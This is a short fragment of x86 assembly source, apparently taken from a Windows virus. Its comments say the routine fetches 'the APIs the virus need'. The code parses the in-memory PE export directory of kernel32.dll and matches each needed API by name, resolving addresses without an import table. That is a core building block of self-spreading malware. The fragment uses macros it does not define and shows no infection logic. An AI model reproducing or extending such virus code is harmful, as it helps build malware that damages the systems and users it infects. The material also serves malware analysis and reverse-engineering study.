;%%%8 0 GAPI *get apis


;this routine retrieve from the kernel32.dll image (in EAX) the APIs the virus need.

get_k32_apis:
	call @@apiimport

;@@@
	dd -1

  @@apiimport:

;ESI will hold the APIs we need

  	pop esi


get_apis:
	pushad

;eax = dll imagebase

	mov ebp,eax
	add eax,[ebp.MZ_lfanew]

;EDI will hold the pointer to dll export directory

	mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
	add edi,ebp

;check if all APIs where retrieved. if so, exit

  @@scan_name:
	mov edx,esi
  	lodsd
  	inc eax
  	jz @@done_import

;now, in a cycle, compare the name of the APIs in the kernel32.dll export
;table with the API we need.

	mov ebx,[edi.ED_AddressOfNames]
	add ebx,ebp
	sub ecx,ecx
  @@getapinameptr:
	COMPARE
	jz @@found

;check next API in kernel32.dll export table

	inc ecx
	add ebx,4
	jmp @@getapinameptr

;we found the API. so, retrieve its ordinal number, and use it to get the API
;address

  @@found:
	mov eax,[edi.ED_AddressOfNameOrdinals]
	add eax,ebp
	shl ecx, 1
	movzx ecx,wo [eax.ecx]

	mov eax,[edi.ED_AddressOfFunctions]
	add eax,ebp
	mov eax,[eax.(ecx*4)]
	add eax,ebp
	mov [edx],eax

	GONEXT
	jmp @@scan_name

  @@done_import:
	popad
	ret